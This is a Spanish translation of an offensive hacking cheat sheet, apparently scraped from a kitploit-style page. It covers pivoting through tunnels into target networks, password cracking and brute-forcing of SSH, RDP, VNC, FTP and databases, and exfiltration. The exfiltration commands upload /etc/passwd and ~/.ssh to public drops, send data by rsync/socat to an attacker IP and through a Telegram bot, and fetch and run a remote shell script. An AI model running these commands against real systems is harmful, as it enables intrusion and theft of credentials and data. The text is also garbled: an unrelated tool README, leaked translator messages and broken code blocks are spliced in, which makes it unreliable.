 * [Servidores ROOT de Segfault](https://thc.org/segfault/wireguard): Conectará tu ROOT Server a la RED OBJETIVO y usará una IP Fantasma dentro de la red objetivo.
 * [Túneles QEMU](https://securelist.com/network-tunneling-with-qemu/111803/): Igual que arriba, pero menos seguro.

---
<a id="tunnel-more"></a>
**3.vi.d Varios trucos de túneles**

### Túnel mediante CDN
 * Lee [Cómo tunelizar cualquier servicio TCP a través de CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) o usa [DarkFlare](https://github.com/doxx/darkflare).

### Conecta tu host directamente a la red remota
 * [WireTap](https://github.com/sandialabs/wiretap) - Funciona como usuario o root. Usa UDP como transporte. ([Pruébalo](https://thc.org/segfault/wireguard) en segfault.)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Usa TCP como transporte. Funciona bien a través de [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) o gs-netcat.

### Usar SSH como un proxy inverso económico a través de Cloudflare

Este método es similar a los [túneles inversos HTTPS](#https) pero usa SSH en lugar de Gost o websocat.
- Ventaja: Solo usa *cloudflared* y *SSH* en el objetivo.
- Desventaja: Requiere una suscripción de CF.

 1. Ve a tu panel de CF -> Zero Trust -> Networks -> Tunnels
 2. Crea un nuevo túnel 'Cloudflared' con cualquier nombre.
 3. Selecciona Debian y 64-bit. El Token no se muestra completamente. Extrae el "Token" copiando el área atenuada en un documento aparte para revelar el Token completo (las largas cadenas hexadecimales después de `sudo cloudflared service install <TunnelTokenHere>`).
 4. Añade un subdominio (el ejemplo usa `ssh.team-teso.net`).
 5. Configura Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

(no content provided)```shell

On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:

ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080

root@kitploit:~
No se ha proporcionado ningún texto de entrada en este chunk para traducir.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

Usa ProxyChains o GrafTCP para tunelizar otros protocolos a través del proxy inverso.


3.iv. Usa cualquier herramienta a través de Socks Proxy

Crea un túnel desde el objetivo a tu estación de trabajo usando gsocket:

En la red del objetivo:```sh

Create a SOCKS proxy into the target's network.

Use gs-netcat but ssh -D would work as well.

gs-netcat -l -S

root@kitploit:~
En tu estación de trabajo:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

Usando ProxyChain:```sh

Use ProxyChain to access any host on the target's network:

echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io

Scan the router at 192.168.1.1

proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1

Start 10 nmaps in parallel:

seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}

root@kitploit:~
### Usando GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

3.v. Encuentra tu dirección IP pública```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com

root@kitploit:~
Obtén información de geolocalización sobre cualquier dirección IP:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

Obtén información de ASN por dirección IP:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup

root@kitploit:~
Comprueba si TOR está funcionando:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

3.vi. Comprueba la accesibilidad desde cualquier parte del mundo

La amable gente de https://ping.pe/ te permite hacer ping/traceroute/mtr/dig/port-check a un host desde cualquier parte del mundo, comprobar puertos TCP, resolver un nombre de dominio, ...y muchas otras cosas.

Para comprobar lo bien que tu host (actual) puede acceder a Internet, usa OONI Probe:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1

root@kitploit:~
---
<a id="check-open-ports"></a>
**3.vii. Verificar/Escanear puertos abiertos en una IP**

Servicio de búsqueda de puertos de [Censys](https://search.censys.io/) o [Shodan](https://internetdb.shodan.io):```shell
curl https://internetdb.shodan.io/1.1.1.1

Escaneo de vulnerabilidades rápido (-F)```shell

Version gathering

nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org

Vulns

nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org

root@kitploit:~
Escanea puertos TCP abiertos:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

(Ver Hackshell scan)

Escáner de puertos simple en bash:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED

root@kitploit:~
---
<a id="bruteforce"></a>
**3.viii. Descifrar hashes de contraseñas**

 1. [NTLM2password](https://ntlm.pw/) para descifrar (buscar) contraseñas NTLM
 2. [wpa-sec](https://wpa-sec.stanev.org) para descifrar (buscar) contraseñas WPA PSK

HashCat es nuestra herramienta de referencia para todo lo demás:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

Usando un hashmask de 10 días y 7-16 caracteres en GPU:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask

-d2 == Use GPU #2 only (device #2)

-O == Up to 50% faster but limits password length to <= 15

-w1 == workload low (-w3 == high)

nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2

root@kitploit:~
Descifra los hashes de `known_hosts` de OpenSSH para revelar la dirección IP:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

👉 Lee las Preguntas frecuentes.

Ten en cuenta que los hashes $6$ son LENTOS. Incluso el hashmask de 1 minuto para 7-16 caracteres tardaría muchos días en completarse en un clúster de 8xRTX4090.

Alquila un clúster de GPU RTX-4090 en vast.ai por $0.40/h y usa dizcza/docker-hashcat:cuda (lee más).

De lo contrario, usa Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis o crackea en tus propias instancias de AWS.

3.xi. Fuerza bruta de contraseñas / claves

Lo siguiente es para forzar (adivinar) contraseñas de SERVICIOS EN LÍNEA.

GMail Imbéciles - HAZ CLIC AQUÍ

No puedes forzar cuentas de GMAIL.
SMTP AUTH/LOGIN ESTÁ DESHABILITADO EN GMAIL.
Todas las herramientas de fuerza bruta y craqueo de contraseñas de GMail son FALSAS.

Todas las herramientas están preinstaladas en segfault:```shell ssh [email protected] # password is 'segfault'

root@kitploit:~
(Quizás quieras usar tu [propio nodo EXIT](https://www.thc.org/segfault/wireguard))

Herramientas:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [documentación](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - excelente para probar todas las claves ssh en un rango de IPs objetivo.

Listas de usuarios y contraseñas:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >EL FAVORITO DE THC<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


Establece la lista de **U**suario/**P**assword y el **T**arget host.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Parámetros útiles de Nmap:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly

root@kitploit:~
Parámetros útiles de **Ncrack**:```shell
-U "${ULIST}"
-P "${PLIST}"

Parámetros útiles de Hydra:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login

root@kitploit:~
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

-->```shell

SSH

nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"

root@kitploit:~
- **Q**: ¿Qué herramientas de seguridad se admiten?
- **A**: En la actualidad, se admiten más de 20 tipos de herramientas, que incluyen Burp Suite, AWVS, afrog, Xray, nuclei, OneForAll, subfinder, scaninfo, ksubdomain, httpx, subfinder, URLFinder, PortScan, vulmap, pocsuite3, Yakit, Crawlergo, Kunpeng, URLFinder, Kunyu, dirsearch, etc. Se irán añadiendo más herramientas y tipos de herramientas compatibles en el futuro.

- **Q**: ¿Cómo usar la mensajería por correo?
- **A**: Se puede configurar la URL de Webhook, la API de Feishu/Lark, los tokens de bots de Telegram, la URL de mensajería de DingTalk, los tokens de bots de WeChat de empresa, la URL de mensajería de Gotify, los tokens de Ntfy, etc. Solo es necesario completar el operador correspondiente. Para más detalles, consulte [Instrucciones de configuración del mensajería](https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/blob/main/core/message.md).

- **Q**: ¿Se puede separar el uso de la adición de huellas dactilares y las reglas de coordinación con herramientas?
- **A**: Por supuesto, todo es modular en el código fuente. Cada módulo puede funcionar de forma independiente o en conjunto. El diseño modular está implementado en el código: puede optar por usar solo la sección de huellas dactilares para la identificación de huellas de sitios, o usar solo las reglas de asociación de herramientas. Ambos módulos pueden funcionar juntos o por separado, y el orden de llamada se gestiona mediante `config.ini`.

- **Q**: ¿Cómo realizar una exploración masiva automatizada completa?
- **A**: Instalar `ARL-Finger-ADD` y las herramientas de seguridad relacionadas, ejecutar `python3 ARL-Finger-ADD.py` y todo el proceso de coordinación con herramientas se completará automáticamente.

- **Q**: Después de la adición, ¿se ven afectados los datos originales de activos y exploración de ARL?
- **A**: No les afecta en absoluto. Solo se agregan nuevos datos de huellas dactilares y se coordinan las herramientas. Los archivos de configuración y los datos de la base de datos están separados. Los datos originales de ARL no se modifican ni eliminan.

- **Q**: Después de agregar huellas dactilares, ¿se pueden eliminar o restaurar?
- **A**: Todos los archivos de huellas dactilares originales de ARL se pueden respaldar. Tras agregar huellas dactilares usando el proyecto, se crea automáticamente un directorio `finger_backup` para almacenar una copia de seguridad de las huellas originales. Si necesita restaurar, ejecute `python3 ARL-Finger-ADD.py -r` para restaurar los archivos de huellas originales, y luego reinicie el servicio de la web de ARL.

- **Q**: Si ARL y las herramientas relacionadas se instalaron mediante Docker, ¿se puede coordinar con `ARL-Finger-ADD`?
- **A**: Debido a la naturaleza aislada de Docker, no se admite la coordinación automatizada con todas las herramientas en el entorno de Docker. Pero los scripts que no requieren herramientas externas, como la adición de huellas dactilares y la base de datos de rutas de escaneo de directorios, aún funcionan perfectamente bajo Docker.

- **Q**: Después de usar el proyecto, ¿se pueden agregar archivos de huellas dactilares de ARL en el repositorio oficial de ARL en el futuro?
- **A**: Sí, el proyecto se puede usar repetidamente. Cualquier versión futura de ARL puede ser actualizada simplemente ejecutando `python3 ARL-Finger-ADD.py` para actualizar las reglas de huellas dactilares, manteniendo las versiones consistentes con el proyecto.

- **Q**: Si encuentra otros problemas o tiene sugerencias, ¿dónde puede informarlos?
- **A**: Los problemas se pueden informar en la sección [Issues](https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/issues) del proyecto. Si tiene una mejor solución o método de optimización, también puede enviar un [Pull Request](https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/pulls). ¡Gracias por su contribución!

## 🦄 Estrellas del proyecto

[![Stargazers over time](https://starchart.cc/Aabyss-Team/ARL-Finger-ADD-Plus.svg?variant=adaptive)](https://starchart.cc/Aabyss-Team/ARL-Finger-ADD-Plus)

## 🏆 Equipo Aabyss

Una montaña no se mide por su altura, sino por su cima; el agua no se mide por su profundidad, sino por su flujo. Seguridad informática y penetración web, amor por la tecnología y la vida, ¡todos son miembros del equipo Aabyss! AabyssTeam:Equipo de Seguridad de Deep Blue Abyss

root@kitploit:~

## 🔧 Contribuidores

¡El proyecto no puede existir sin los contribuidores de la comunidad!

<a href="https://github.com/Aabyss-Team/ARL-Finger-ADD-Plus/graphs/contributors">
  <img src="https://contrib.rocks/image?repo=Aabyss-Team/ARL-Finger-ADD-Plus" />
</a>

## 💖 Patrocinadores

Si este proyecto le ha ayudado, ¡podría considerar patrocinar a los desarrolladores!

<img src="https://raw.githubusercontent.com/Aabyss-Team/Aabyss-Team/main/IMG/202308210636390.png" width="700px">

[Dirección de código abierto del equipo Aabyss](https://github.com/Aabyss-Team)

## 📜 Descargo de responsabilidad

<div align="center"><b>Descargo de responsabilidad: Esta herramienta es solo para investigación y estudio de tecnología de ciberseguridad con fines de defensa.</b></div>
<br>
<div align="center">Si usted u otra persona usa esta herramienta para realizar actividades ilegales sin el consentimiento de la parte autorizada, o no cumple con las leyes de ciberseguridad, no seremos responsables de los daños resultantes ni de ninguna responsabilidad legal.</div>

## Star History

<a href="https://star-history.com/#Aabyss-Team/ARL-Finger-ADD-Plus&Date">
 <picture>
   <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=Aabyss-Team/ARL-Finger-ADD-Plus&type=Date&theme=dark" />
   <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=Aabyss-Team/ARL-Finger-ADD-Plus&type=Date" />
   <img alt="Star History Chart" src="https://api.star-history.com/svg?repos=Aabyss-Team/ARL-Finger-ADD-Plus&amp;type=Date" />
 </picture>
</a>```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

# Jigsaw - Ofuscador PowerShell

made-with-powershell

Jigsaw es un ofuscador de múltiples capas para scripts de PowerShell. Su objetivo es proporcionar amplias capas de ofuscación de una manera sencilla. Para más información, lea su Wiki.```shell

FTP

hydra -P "${PLIST}" -l user "ftp://$T"

root@kitploit:~
* [tahlor](https://github.com/TahlonBrahic//#/) - OSINT y Otras Herramientas - en español```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

Please provide the Markdown content to translate.```shell

POP3 (email)

nmap -p110,995 --script pop3-brute "$T"

root@kitploit:~
**C.** Lo siguiente aparecerá en la pantalla```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

[No content provided to translate.]```shell

PostgreSQL

nmap -p5432 --script pgsql-brute "$T"

root@kitploit:~
[No content provided to translate.]```shell
## SMB (windows)
nmap --script smb-brute "$T"

(no content provided)```shell

Telnet

nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

root@kitploit:~
I don't see any content in the chunk you provided. Please paste the Markdown text you'd like translated, and I'll translate it into Spanish following all the rules.```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

Please provide the Markdown content to translate.```shell

VNC (with metasploit)

msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run

root@kitploit:~
🖥️**FreeBSD** 

🖥️**Fedora Silverblue** 

🖥️**NetBSD** 

🖥️**OpenBSD**```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

4. Subida/Descarga/Exfiltración de Datos

Lo más fácil: escribe exfil en un Segfault Root Server

O usa curl y ejecuta tu propio servidor de exfiltración en PHP.

4.i Codificación de Archivos

Truco para transferir un archivo al objetivo cuando este no tiene acceso a Internet: convierte el archivo binario en texto ASCII (base64) y luego usa copiar y pegar. (Alternativamente, usa la consola elite de gs-netcat con Ctrl-e c para transferir el archivo por la misma conexión TCP).

Usa xclip (en tu estación de trabajo) para pasar los datos codificados directamente al portapapeles:```shell base64 -w0 </etc/issue.net | xclip

root@kitploit:~
#### >>> Codificar/decodificar UU```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY
Salida - HAGA CLIC AQUÍ

begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end

```sh ## uudecode (cut & paste the 3 lines from above): uudecode ``` #### >>> base64 encode/decode```sh base64 -w0 Salida - HAGA CLIC AQUÍ

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh base64 -d >issue.net-COPY ``` #### >>> Openssl codificar/decodificar```sh openssl base64 Salida - HAGA CLIC AQUÍ

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd codificar/decodificar```sh xxd -p Salida - HAZ CLIC AQUÍ

4b616c6920474e552f4c696e757820526f6c6c696e670a

```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. Transferencia de archivos - usando cortar y pegar

Pega en un archivo en la máquina remota (ten en cuenta el <<-'__EOF__' para no alterar las tabulaciones ni las variables $).```sh cat >output.txt <<-'EOF' [...] EOF ### Finish your cut & paste by typing EOF

root@kitploit:~
---
<a id="xfer-tmux"></a>
### 4.iii. Transferencia de archivos - usando *tmux*

Inicia `tmux` en tu estación de trabajo. Conéctate a tu objetivo por cualquier medio que prefieras (ssh, gs-netcat, ...).

#### De REMOTO a LOCAL (descarga)

Usa [Tmux-Logging](#tmux) para descargar archivos grandes desde el objetivo a través de la terminal hasta tu estación de trabajo.

#### De LOCAL a REMOTO (subida)

Inicia tu herramienta de decodificación favorita (base64) en el REMOTO:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

En tu estación de trabajo, y desde una terminal diferente, envía datos codificados en base64. Llegarán a tu REMOTE en screen-xfer.txt.```shell tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'

Press 'Ctrl-d' in the receiving terminal.

Optional: Use -t foo:1.2 to send to window #1 and pane #2 instead.

Optional: Use 'Ctrl-b ,' to rename the window

root@kitploit:~
---
<a id="file-transfer-screen"></a>
### 4.vi. Transferencia de archivos - usando *screen*

#### De REMOTO a LOCAL (descarga)

Ten un *screen* ejecutándose en tu computadora local e inicia sesión en el sistema remoto desde tu shell. Indica a tu screen local que registre toda la salida en screen-xfer.txt:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

Usamos *openssl* para codificar nuestros datos, pero cualquiera de los métodos de codificación anteriores funciona. Este comando mostrará los datos codificados en base64 en la terminal y *screen* escribirá estos datos en *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

Detén el registro de datos en tu pantalla local:

CTRL-a H

En tu computadora local, decodifica el archivo:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt

root@kitploit:~
#### De LOCAL a REMOTE (subida)

En tu sistema local, codifica los datos:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

En el sistema remoto (y desde dentro del screen actual):```sh openssl base64 -d

root@kitploit:~
Get *screen* para que lea los datos codificados en base64 hacia el portapapeles de screen y pegue los datos desde el portapapeles al sistema remoto:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

Nota: Se requieren dos CTRL-d debido a un [bug en openssl](https://github.com/openssl/openssl/issues/9355).

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Transferencia de archivos - usando gs-netcat y sftp

Usa [gs-netcat](https://github.com/hackerschoice/gsocket) y encapsula el protocolo sftp dentro. Permite el acceso a hosts detrás de NAT/Firewall.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

Desde su estación de trabajo ejecute este comando para conectarse al servidor SFTP:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation

root@kitploit:~
O para volcar un solo archivo:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

4.vi. Transferencia de archivos - usando HTTPs

Descarga desde el servidor al receptor:

En el emisor/servidor:```sh

Spawn a temporary HTTP server and share the current working directory.

python -m http.server 8080 --bind 127.0.0.1 &

alternative: php -S 127.0.0.1:8080

cloudflared tunnel -url localhost:8080

root@kitploit:~
Receiver: Accede a la URL desde cualquier navegador para ver/descargar el sistema de archivos remoto.

#### 1 - Subida usando PHP:

En el Receptor:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

En el remitente:```posh

Set a function:

up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }

upload files like so:

up warez.tar.gz up /etc/passwd

root@kitploit:~
#### 2 - Subida usando PYTHON:

En el receptor:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

En el remitente:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'

root@kitploit:~
---
<a id="download"></a>
### 4.vii. Descarga de archivos sin curl

Usando Python, descarga solo:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

Ejemplo: Instalando gsocket con purl:```sh

cut & paste the above purl() function into your bash. Then cut & paste the following:

source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct

root@kitploit:~
Usando OpenSSL, descargue únicamente:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

usando Perl, descargar solo:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }

lurl ipinfo.io

root@kitploit:~
Usando bash, descargue solo:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

4.viii. Transferencia de archivos mediante un volcado público

Corta y pega en tu bash:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }

root@kitploit:~
luego sube un archivo o un directorio:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

Una lista de nuestros sitios públicos de carga favoritos.


4.ix. Transferencia de archivos - usando rsync

Ideal para sincronizar grandes cantidades de directorios o reiniciar transferencias interrumpidas. El ejemplo transfiere el directorio 'warez' al Receptor usando una única conexión TCP desde el Emisor al Receptor.```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach

root@kitploit:~
Remitente:```posh
rsync -av warez rsync://1.2.3.4:31337/up

Lo mismo cifrado (OpenSSL):

Receptor:```posh

use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)

openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"

root@kitploit:~
Remitente:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Rsync se puede combinar para exfiltrar a través de túneles TCP en bruto de https / cloudflared.
(Para exfiltrar desde Windows, usa el rsync.exe del paquete gsocket para Windows). Una solución más ruidosa es syncthing.

Consejo profesional: Los hackers perezosos solo escriben exfil en segfault.net.


4.x. Transferencia de archivos - usando WebDAV

En el receptor (p. ej. segfault.net) inicia un Cloudflare-Tunnel y WebDAV:```sh cloudflared tunnel --url localhost:8080 &

[...]

+--------------------------------------------------------------------------------------------+

| Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |

| https://example-foo-bar-lights.trycloudflare.com |

+--------------------------------------------------------------------------------------------+

[...]

wsgidav --port=8080 --root=. --auth=anonymous

root@kitploit:~
En otro servidor:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

Accede al recurso compartido desde Windows (para arrastrar y soltar archivos) en el Explorador de archivos:``` \example-foo-bar-lights.trycloudflare.com@SSL\sources

root@kitploit:~
O monta el recurso compartido WebDAV en Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

4.xi. Transferencia de archivos a Telegram

Hay infinidad de servicios de subida, pero TG es una alternativa práctica. Obtén un TG-Bot-Token del TG BotFather. Luego, crea un nuevo grupo de TG y añade tu bot al grupo. Recupera el chat_id de ese grupo:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq

If you get only {"ok":true,"result":[]} then remove and add the bot again.

root@kitploit:~
d3sky - d3sky es una herramienta avanzada, de código abierto, para enumeración pasiva de subdominios.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

5. Reverse Shell / Dumb Shell

Consejo: usa https://www.revshells.com/ 👌

5.i.a. Shell inversa con gs-netcat (cifrada)

Consulta 6. Backdoors para un comando de una sola línea para desplegar y acceder a una shell inversa PTY totalmente funcional usando https://gsocket.io/deploy.

5.i.b. Shell inversa con Bash

